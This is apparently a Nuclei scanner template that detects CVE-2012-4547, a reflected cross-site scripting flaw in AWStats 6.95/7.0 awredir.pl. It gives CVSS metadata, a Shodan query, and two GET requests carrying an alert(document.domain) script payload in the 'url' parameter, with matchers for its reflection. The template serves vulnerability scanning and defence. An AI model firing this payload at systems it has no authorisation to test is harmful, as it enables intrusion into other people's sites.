id: CVE-2012-4547

info:
  name: AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter.
  reference:
    - https://www.exploit-db.com/exploits/36164
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4547
    - http://awstats.sourceforge.net/docs/awstats_changelog.txt
    - http://openwall.com/lists/oss-security/2012/10/29/7
    - http://openwall.com/lists/oss-security/2012/10/26/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4547
    cwe-id: CWE-79
    epss-score: 0.0023
    epss-percentile: 0.61246
    cpe: cpe:2.3:a:laurent_destailleur:awstats:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: laurent_destailleur
    product: awstats
    shodan-query: cpe:"cpe:2.3:a:laurent_destailleur:awstats"
  tags: cve2012,cve,xss,awstats,edb,laurent_destailleur

http:
  - method: GET
    path:
      - '{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'
      - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d09efcd4604b3a0260c210105c96fefec1dcb7eb7506e17dcac3bf81b695e59302203b9e6286b61c87965e6b19de553fba4f5d16a089dd320532ecfe9dd4dc9de1a4:922c64590222798bb761d5b6d8e72950